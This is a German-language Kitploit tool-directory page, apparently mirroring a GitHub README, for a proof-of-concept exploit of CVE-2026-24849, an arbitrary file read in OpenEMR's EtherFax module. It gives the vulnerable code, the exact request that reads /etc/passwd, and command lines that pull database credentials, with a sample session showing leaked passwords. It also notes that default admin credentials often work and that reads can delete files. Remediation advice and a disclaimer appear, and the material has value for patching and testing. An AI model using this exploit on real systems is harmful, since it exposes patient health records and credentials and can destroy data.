Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-24849 — Proof-of-Concept-Exploit für CVE-2026-24849, einen authentifizierten Path-Traversal / beliebiges Lesen von Dateien im OpenEMR-Fax-/SMS-Modul (EtherFax). Jeder authentifizierte Benutzer, unabhängig von seiner Berechtigungsstufe, kann beliebige Dateien vom Server-Dateisystem als Webserver-Benutzer lesen (Datenbankanmeldedaten, Patientendokumente/PHI, /etc/passwd, …). | Kitploit
Tools/GitHubGitHub/doany1/cve-2026-24849
SchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationInformationsbeschaffungPenetrationstests
GitHubdoany1/cve-2026-24849

CVE-2026-24849

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Proof-of-Concept-Exploit für CVE-2026-24849, einen authentifizierten Path-Traversal / beliebiges Lesen von Dateien im OpenEMR-Fax-/SMS-Modul (EtherFax). Jeder authentifizierte Benutzer, unabhängig von seiner Berechtigungsstufe, kann beliebige Dateien vom Server-Dateisystem als Webserver-Benutzer lesen (Datenbankanmeldedaten, Patientendokumente/PHI, /etc/passwd, …).

vor 2 MonatenNoch nicht geprüft
Teilen

CVE-2026-24849 OpenEMR – Authentifiziertes beliebiges Dateilesen (EtherFax disposeDoc)

Getestet auf: OpenEMR Version = 7.0.2

Proof-of-Concept-Exploit für CVE-2026-24849, ein authentifiziertes Pfad-Durchlaufen / beliebiges Dateilesen im Fax/SMS-Modul (EtherFax) von OpenEMR. Jeder authentifizierte Benutzer – unabhängig von der Berechtigungsstufe – kann beliebige Dateien aus dem Server-Dateisystem als Web-Server-Benutzer lesen (Datenbankzugangsdaten, Patientendokumente/PHI, /etc/passwd, …).

CVECVE-2026-24849
SchwachstellePfad-Durchlaufen / beliebiges Dateilesen (CWE-22)
KomponenteEtherFaxActions::disposeDoc() – interface/modules/custom_modules/oe-module-faxsms
BetroffenOpenEMR < 7.0.4
Behoben inOpenEMR 7.0.4
AuthentifizierungErforderlich – beliebiger Benutzer, keine Rechte nötig
SchweregradNVD 6,5 (Mittel) / GitHub CNA 9,9 (Kritisch)
Getestet aufOpenEMR 7.0.2 – Ubuntu 22.04, PHP 8.1, Apache 2.4

Die Schwachstelle

Die Methode disposeDoc() des Fax/SMS-Moduls nimmt einen vom Aufrufer gelieferten file_path-Parameter entgegen, prüft, ob die Datei existiert, und übergibt sie direkt an readfile() – ohne Pfad-Kanonisierung, ohne Whitelisting und ohne Autorisierungsprüfung außer einer gültigen Session:

root@kitploit:~
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
    $where = $this->getRequest('file_path', null);   // vom Angreifer kontrolliert, ungeprüft
    if (file_exists($where)) {
        ...
        readfile($where);    // beliebiges Dateilesen als Web-Server-Benutzer
        unlink($where);      // ⚠ löscht die Datei nach dem Lesen (siehe Warnung unten)
        exit;
    }
    die('Problem with download. Use browser back button');
}

Der Handler wird über den Modul-Dispatcher mit einem absoluten Pfad in file_path erreicht (kein ../-Durchlaufen nötig):

root@kitploit:~
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
        ?site=default
        &type=fax
        &_ACTION_COMMAND=disposeDoc
        &file_path=/etc/passwd
        &action=download

Auswirkungen

Ein Konto mit niedrigen (oder Standard-)Rechten wird zu einer vollständigen serverseitigen Dateilese-Primitive:

  • Datenbankzugangsdaten – sites/default/sqlconf.php
  • Patientendaten / PHI – alles unter sites/<site>/documents/, selbst wenn dieses Verzeichnis in .htaccess mit Deny from all geschützt ist (das Lesen erfolgt auf Disk, umgeht Apache)
  • Systemdateien – /etc/passwd, Anwendungsquellcode, vom Web-Benutzer lesbare Schlüssel/Tokens

⚠️ Zerstörerisches Verhalten

disposeDoc() ruft unlink($where) nach dem Lesen der Datei auf. Das Lesen einer Datei, die der Web-Server-Benutzer löschen darf, entfernt sie. Ziele auf Root-gehörige Dateien (z. B. /etc/passwd, sqlconf.php bei den meisten Installationen) – deren übergeordnetes Verzeichnis ist für den Web-Benutzer nicht beschreibbar, sodass unlink() fehlschlägt und die Datei erhalten bleibt. Gehen Sie bewusst damit um, worauf Sie diese Funktion richten.

Voraussetzungen

  • Gültige OpenEMR-Anmeldedaten (jede Berechtigungsstufe – Standard admin:pass funktioniert oft).
  • Fax/SMS-Modul aktiviert mit EtherFax als ausgewähltem Faxanbieter. Kein echtes EtherFax-Konto / keine Zugangsdaten erforderlich – das Dateilesen erfolgt vor jedem externen API-Aufruf.

Anforderungen

  • Python 3.6+
  • requests
root@kitploit:~
pip3 install requests

Installation

root@kitploit:~
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py

Verwendung

Ohne Argumente gestartet, fragt es nach allen benötigten Informationen:

root@kitploit:~
python3 CVE-2026-24849.py

Oder nicht-interaktiv mit Flags:

root@kitploit:~
# eine einzelne Datei lesen
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd

# DB-Zugangsdaten abgreifen und in Datei speichern
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
    -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php

Optionen

Falls -f weggelassen wird, begibt sich das Tool in eine interaktive Leseschleife, sodass Sie mehrere Dateien aus einer Sitzung abrufen können.

Beispiel

root@kitploit:~
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authentifiziertes beliebiges Dateilesen (CVE-2026-24849)

Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authentifiziere bei http://10.10.10.10 als 'admin' ...
[+] Authentifiziert; CVE-2026-24849 Dateilesen bestätigt.

[*] Interaktives Lesen - absolute Dateipfade eingeben (leer oder 'q' zum Beenden).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login  = 'openemr';
$pass   = 'openemr123';
$dbase  = 'openemr';
[+] --------------------------

Funktionsweise

  1. Einloggen mit requests, die Session wird im eigenen Cookie-Jar gehalten (vermeidet die Rotation der Browser-Session-ID, die kopierte Cookies ungültig machen würde).
  2. Zugriff bestätigen durch Lesen einer sicheren, Root-gehörigen Testdatei – saubere Unterscheidung zwischen falschen Anmeldedaten, Modul nicht aktiviert und Erfolg.
  3. Senden der disposeDoc-Leseanfrage, automatischer Versuch sowohl von disposeDoc als auch disposeDocument (der Methodenname unterscheidet sich in verschiedenen betroffenen Nebenversionen).

Abhilfe

  • Update auf OpenEMR 7.0.4 oder neuer. Der Fix kanonisiert den Pfad, beschränkt ihn auf ein erlaubtes Verzeichnis und fügt eine echte Autorisierungsprüfung hinzu.
  • Standard-Anmeldedaten ändern und Passwort-Reset beim ersten Login erzwingen.
  • Geheimnisse und Patientendokumente außerhalb des Web-Roots aufbewahren; sich nicht auf .htaccess als einzige Kontrolle verlassen.

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung haben. Der Autor übernimmt keine Haftung für Missbrauch oder für Schäden, die durch diese Software verursacht werden. Beachten Sie das oben beschriebene zerstörerische unlink()-Verhalten.

Referenzen

  • GitHub Security Advisory: https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24849
  • Anbieter: https://www.open-emr.org/

Autor

doany1

Lizenz

MIT – siehe LICENSE.

Tool herunterladen
FlagBeschreibungStandard
-t, --targetBasis-URL, z. B. http://10.10.10.10abgefragt
-u, --userOpenEMR-Benutzernameadmin
-P, --passwordOpenEMR-Passwortabgefragt (versteckt)
-s, --siteOpenEMR-Site-IDdefault
-f, --fileAbsoluter Pfad der zu lesenden entfernten Dateiinteraktive Schleife, falls weggelassen
-o, --outputDie abgegriffene Datei lokal speichern statt auszugeben